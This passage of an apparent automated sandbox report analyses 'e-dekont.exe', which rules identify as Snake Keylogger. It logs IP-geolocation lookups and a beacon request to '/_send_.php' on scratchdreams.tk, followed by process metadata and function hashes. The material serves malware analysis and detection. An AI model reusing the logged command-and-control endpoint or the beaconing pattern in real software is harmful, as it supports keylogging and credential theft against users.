2024-04-24 05:09:12 UTC	368	IN	Data Raw: 31 36 39 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 30 34 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d Data Ascii: 169<Response><IP>154.16.105.36</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85004</ZipCode><TimeZone>America/Phoenix</Tim
2024-04-24 05:09:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	104.21.67.152	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:13 UTC	86	OUT	GET /xml/154.16.105.36 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-24 05:09:13 UTC	704	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 5 Last-Modified: Wed, 24 Apr 2024 05:09:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pAUkryMT8M7TV3pRSXux3A0DTBVTT8xluUq0qTz9PTIGRzU8AdOwFOtkRL57T1ELNoZdONFSYrhRS3x4zvtvd2%2FiuZRNgm7v29E%2Fvq8%2B8x2h2OYWmVFUfBiECV1%2BwxjhEvujLFvo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879394795c0e2b5b-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:09:13 UTC	368	IN	Data Raw: 31 36 39 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 30 34 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d Data Ascii: 169<Response><IP>154.16.105.36</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85004</ZipCode><TimeZone>America/Phoenix</Tim
2024-04-24 05:09:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	104.21.67.152	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:14 UTC	86	OUT	GET /xml/154.16.105.36 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-24 05:09:14 UTC	712	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 6 Last-Modified: Wed, 24 Apr 2024 05:09:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ryjsHlHih0Yzm%2F%2Fot0dFn1bvfU6DT%2FQcXPDmlu6DJfT4V7v%2BeoQPFcHXgEpnozrpyUG72%2Bru%2FgDehJf4f1bmzPn1qDTnXVnVN3yzeMS3smjJBxEoVcv%2FoCZbk4JCYx7%2BCFo4vY3b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793947fe9602ac7-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:09:14 UTC	368	IN	Data Raw: 31 36 39 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 30 34 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d Data Ascii: 169<Response><IP>154.16.105.36</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85004</ZipCode><TimeZone>America/Phoenix</Tim
2024-04-24 05:09:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	104.21.67.152	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:15 UTC	86	OUT	GET /xml/154.16.105.36 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-04-24 05:09:16 UTC	704	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 05:09:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 7 Last-Modified: Wed, 24 Apr 2024 05:09:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1e%2BXvXiKExUCRvnQSD0MaZ%2BpggV19MtvCCCYVKUmnIQy9BgkOLur%2BsFq86%2FGfss6577uPqown2nLapAtKjNl7PqvM7MaxJKdgx2tXcNyM02xxRKJ5pRgvIQwtiobLdETUfgQ8Tpe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879394867d0c0fe0-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:09:16 UTC	368	IN	Data Raw: 31 36 39 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 30 34 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d Data Ascii: 169<Response><IP>154.16.105.36</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85004</ZipCode><TimeZone>America/Phoenix</Tim
2024-04-24 05:09:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	104.21.27.85	443	7424	C:\Users\user\Desktop\e-dekont.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:09:18 UTC	79	OUT	GET /_send_.php?TS HTTP/1.1 Host: scratchdreams.tk Connection: Keep-Alive
2024-04-24 05:09:57 UTC	737	IN	HTTP/1.1 522 Date: Wed, 24 Apr 2024 05:09:57 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iL2Fj964QJoPtXX40kNuYCCMu6styWTSmwqm8uJmH89HvDF2Yl4FhGiX5CSpjujNwmVuTbxTDEwLEN0UpruCMHlrTQ3tPFH%2Fw2MITuw%2BXBZ28B63ImH1sjAh%2Bs%2BMCfatgGcT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 879394966dbf08ea-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:09:57 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Target ID:	0
Start time:	07:09:03
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\e-dekont.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\e-dekont.exe"
Imagebase:	0x700000
File size:	854'528 bytes
MD5 hash:	FF53D6A04EA8618890F7A81E31BD8A22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:09:05
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\e-dekont.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\e-dekont.exe"
Imagebase:	0xb70000
File size:	854'528 bytes
MD5 hash:	FF53D6A04EA8618890F7A81E31BD8A22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	98.8%
Signature Coverage:	0%
Total number of Nodes:	254
Total number of Limit Nodes:	13

Executed Functions

Function 073F2889 Relevance: 4.0, Strings: 3, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 073F2979
Te^q, xrefs: 073F2B3E
)", xrefs: 073F29BA

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: Te^q$Te^q$)"
API String ID: 0-4031938444
Opcode ID: 7fe38c786a11313152ffc422937dbbdd7dd6661cdec4a3c7903ca0eed6e5ec85
Instruction ID: 5d113280b506c5ab73b9e14c678793802c519998bc11a8b3fc5d27aa1285abf0
Opcode Fuzzy Hash: 7fe38c786a11313152ffc422937dbbdd7dd6661cdec4a3c7903ca0eed6e5ec85
Instruction Fuzzy Hash: 51A125B1E14209CFDB08CFA9D8806DEFBB2FF89311F24912AD419AB355D7345A46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 073F2910 Relevance: 4.0, Strings: 3, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 073F2979
Te^q, xrefs: 073F2B3E
)", xrefs: 073F29BA

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: Te^q$Te^q$)"
API String ID: 0-4031938444
Opcode ID: ae8a154ed9887b0560189cba0ccf51010a771cfe0e982f7dde7351ea4dbee00a
Instruction ID: 9d875688859445e66b3a5a2c3bdf1a49625356ab9a64fdc78acbdf95b30bf459
Opcode Fuzzy Hash: ae8a154ed9887b0560189cba0ccf51010a771cfe0e982f7dde7351ea4dbee00a
Instruction Fuzzy Hash: 3581C4B4E00209CFDB48CFAAC984AAEFBB2FF89310F14942AD519AB354D7349945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 073F49C1 Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

tIh, xrefs: 073F4E65

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: tIh
API String ID: 0-443931868
Opcode ID: f9fa82bc4a5c3728c54ee4e60ace3c5d295939cb7957e1a14e07283d3643a3e8
Instruction ID: 1f0a17b9b1161b3474da231e797047b3dcdb9d43e14c7829548c51665e7ec9bc
Opcode Fuzzy Hash: f9fa82bc4a5c3728c54ee4e60ace3c5d295939cb7957e1a14e07283d3643a3e8
Instruction Fuzzy Hash: 5BF19DB1A1424ACFDB04CFE9D4808EEFBB1FF89351B50A566D515AB202D7349A82CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 073F4AB0 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

tIh, xrefs: 073F4E65

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: tIh
API String ID: 0-443931868
Opcode ID: ca5cc5870f560d33d6480505ada5845a5452166c064cbe97546fd4771fa5263e
Instruction ID: d285fdb749660a038f511448caca82be2943e882354de40823b88665da2c6efe
Opcode Fuzzy Hash: ca5cc5870f560d33d6480505ada5845a5452166c064cbe97546fd4771fa5263e
Instruction Fuzzy Hash: 5AD158B0D1024ADFDB08CFD9D4808AEFBB6FF8A341B50D159D519AB215D734AA82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05066880 Relevance: .8, Instructions: 795COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664124841.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5060000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c041ac925b10a6a130fee740255ae7d4dd74f14655d848f87ed4a648c0410fb5
Instruction ID: 735453700bea69222b1816cc2fb7d0923258a70049f774eaf1013adc86fa1e9d
Opcode Fuzzy Hash: c041ac925b10a6a130fee740255ae7d4dd74f14655d848f87ed4a648c0410fb5
Instruction Fuzzy Hash: 6982E574A00218CFCB14DF68C994AD9BBB2FF99301F1181E9E549AB361DB71AE85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 05066870 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664124841.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5060000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ff441cb6abd64c6f215315fe4ebfed74a94b703d24df4bfd999dc0a4bcffc1f
Instruction ID: 0b4f177a50ff39b8a5724253f64337dda9c6dffc299463eb312818fa97b6d72d
Opcode Fuzzy Hash: 8ff441cb6abd64c6f215315fe4ebfed74a94b703d24df4bfd999dc0a4bcffc1f
Instruction Fuzzy Hash: 2572F634A00218CFCB15DF64C998AD9BBB2FF99301F1181E9E549AB361DB71AE85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 07619180 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7ac49267f5da324b93f5a40006d6099ed61cb7a56e6aeb273466434912ef7d6
Instruction ID: 041634ac595db170d8124c3dcd4cc12fe8cf4d30be48ad60aceeda8ec3486155
Opcode Fuzzy Hash: c7ac49267f5da324b93f5a40006d6099ed61cb7a56e6aeb273466434912ef7d6
Instruction Fuzzy Hash: D622AAB0B012458FDB19DB79D568BAE7BF7AF89700F284469E4069B3A0CB35ED01CB51

Uniqueness

Uniqueness Score: -1.00%

Function 073F7F50 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 075094bc8222c5cd8d24824ec26f43e8c313085811669ad22c335620ac8f1290
Instruction ID: 7c10ee6737f2403337f84ea7215faa903dfcdbdd52e8bc0a862cd8bf0331d1bb
Opcode Fuzzy Hash: 075094bc8222c5cd8d24824ec26f43e8c313085811669ad22c335620ac8f1290
Instruction Fuzzy Hash: 9CA157B0D15209EFDB08CFA5D5809DDFBF6BB8A340F60A41AE51ABB224D7349906CF11

Uniqueness

Uniqueness Score: -1.00%

Function 073F7C38 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5513969f57e6053f17f49af7d73cc33b44f51d09fe43e179d778df1eccda450f
Instruction ID: bd32f912b6ba038e61bcb6c75bcd40c387e31cb8c8772d7b5cf538c554253267
Opcode Fuzzy Hash: 5513969f57e6053f17f49af7d73cc33b44f51d09fe43e179d778df1eccda450f
Instruction Fuzzy Hash: 568143B4E14219CFDB04CFA9C9809EEFBB2FF89350F40946AD505A7254D7389A52CF94

Uniqueness

Uniqueness Score: -1.00%

Function 073F7C48 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56375c3923b9fc8f377951fe191e754fd07d2f5dd0b72a5036cc170184318f81
Instruction ID: a4809ac4eb501fb9a475e95300197518cb655ca8634d52fb0845e68253f65d1f
Opcode Fuzzy Hash: 56375c3923b9fc8f377951fe191e754fd07d2f5dd0b72a5036cc170184318f81
Instruction Fuzzy Hash: 958120B4E10229CFDB04CFA9C9809EEBBB2FF89350F50956AD905A7254D7389A42CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0761001E Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffa567e8ad5bd49c39dd0169c466d52638da41ec7f89dbfa35209080f59c826f
Instruction ID: 0359f17e76b5aadf3c2aff8f8f5b7e7c681104e7a36ec7f926677b82e8c901e7
Opcode Fuzzy Hash: ffa567e8ad5bd49c39dd0169c466d52638da41ec7f89dbfa35209080f59c826f
Instruction Fuzzy Hash: 7A31FAB1D056588FDB19CFA6C8543DEBFB2AFCA300F18C0AAD409BA265DB750949CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07610040 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac2c54660e0865efb76fbe2e79ee6903b58d751e508d0b0abda3eed039edc841
Instruction ID: 4a8f906a3c33e7a47056f73daddd5fc1d38d6bad21cf4f7bd7c55711124886b9
Opcode Fuzzy Hash: ac2c54660e0865efb76fbe2e79ee6903b58d751e508d0b0abda3eed039edc841
Instruction Fuzzy Hash: 9331C7B0D14658CBEB18CFABC8587EEBBB6AFC9301F14C42AD40A76254DB740986CF50

Uniqueness

Uniqueness Score: -1.00%

Function 073F3BF0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec9f0b4837a6dad8bb04252b11462e7b15caf5e313497ff74fe9cc9166d426e5
Instruction ID: 734c8d741ac655066bfc21a5e34e3be7857f20d79aa1b7d6654e59f633a6978e
Opcode Fuzzy Hash: ec9f0b4837a6dad8bb04252b11462e7b15caf5e313497ff74fe9cc9166d426e5
Instruction Fuzzy Hash: 44211BB1E016588BEB18CFAAD9402DEFBF3AFC9310F14C16AD408A6264DB341A55CB50

Uniqueness

Uniqueness Score: -1.00%

Function 073F04E0 Relevance: 16.5, Strings: 13, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 073F0720
$^q, xrefs: 073F0734
Te^q, xrefs: 073F0528
fcq, xrefs: 073F082F
XX^q, xrefs: 073F0513
$^q, xrefs: 073F0712
$^q, xrefs: 073F07CF
fcq, xrefs: 073F06FD
$^q, xrefs: 073F0740
XX^q, xrefs: 073F0503
$^q, xrefs: 073F0607
fcq, xrefs: 073F06ED
Te^q, xrefs: 073F0532

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: fcq$ fcq$ fcq$Te^q$Te^q$XX^q$XX^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1437089595
Opcode ID: edc027324a67a0c4671459e7571b1205fcf43a80ae2cb142363cbb151f19a110
Instruction ID: 0e7e0e38c18e6c34e1a9ab8e0969ea3e06dbfac932e88e1dec97670e60dcf2d1
Opcode Fuzzy Hash: edc027324a67a0c4671459e7571b1205fcf43a80ae2cb142363cbb151f19a110
Instruction Fuzzy Hash: 03B17CF0F14218CFEB1C8F9CC544AADB7B6BB85780F248456D60AAB296C7749C85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 073FF110 Relevance: 2.7, Strings: 2, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 073FF188
Te^q, xrefs: 073FF1C5

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: Te^q$Te^q
API String ID: 0-3743469327
Opcode ID: 83972f8bd40ac469c5708afdf4b51591cab97a9335d6c0cc2c18d7d550a891da
Instruction ID: 03e0cbc88df4bc1895da0cdd5f8343770865d9b6cfe0c4fb451258f5e525f4e3
Opcode Fuzzy Hash: 83972f8bd40ac469c5708afdf4b51591cab97a9335d6c0cc2c18d7d550a891da
Instruction Fuzzy Hash: 3F61D4B8E04209DFEB08CFA9C984AEDBBF6BF89340F108029D909AB355D7345945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 073F50E0 Relevance: 2.6, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3H5, xrefs: 073F518E
3H5, xrefs: 073F5180

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: 3H5$3H5
API String ID: 0-2752242361
Opcode ID: cb00e972d4a0e296e98d891652655938a6fc57f5cf8bfa8e2c54d604542be5e0
Instruction ID: a375c440a9d8a2f421a054aa96f8ce787cd272247bf374f735c0040a9c826c5c
Opcode Fuzzy Hash: cb00e972d4a0e296e98d891652655938a6fc57f5cf8bfa8e2c54d604542be5e0
Instruction Fuzzy Hash: C22128B0D14609EFDB48CFA9D9409AEBBF5BF8A340F14D5AAD108E7314E730AA55CB41

Uniqueness

Uniqueness Score: -1.00%

Function 07615E3D Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

